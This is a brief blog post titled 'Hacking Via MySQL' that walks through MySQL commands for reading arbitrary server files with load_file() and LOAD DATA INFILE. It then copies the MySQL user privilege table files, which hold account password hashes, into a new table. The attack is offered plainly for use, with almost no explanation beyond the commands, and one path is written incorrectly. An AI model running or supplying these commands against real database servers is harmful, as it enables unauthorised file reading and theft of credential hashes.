Hacking Via MySQL

Posted by ghimau under
Hmm..
Want to try hack your server via mysql?
Hihihi

Ok, you can 'print' any file in the server to the monitor (running mysql) using load_file() function, in mysql.

Go to your command prompt.
mysql>

Type in the following command:
mysql>select load_file('c:/dns.txt');

dns.txt can be any file in your server

By using load data infile function, you can transfer any file, or database content to a newly created database.

mysql>load data infile 'c/dns.txt' into table table_name;

Ok.. so you want to copy a table to your newly created table?

mysql> create database db_ghimau;
mysql> use db_ghimau;
mysql> create table tbl_ghimau (filename varchar(20),content longblob);

Then copy the data!

mysql> insert into tbl_ghimau values ('user.frm',load_file('c:\\MySQL\\data\\mysql\\user.frm'));
mysql> insert into tbl_ghimau values ('user.MYI',load_file('c:\\MySQL\\data\\mysql\\user.MYI'));
mysql> insert into tbl_ghimau values ('user.MYD',load_file('c:\\MySQL\\data\\mysql\\user.MYD'));

0 comments: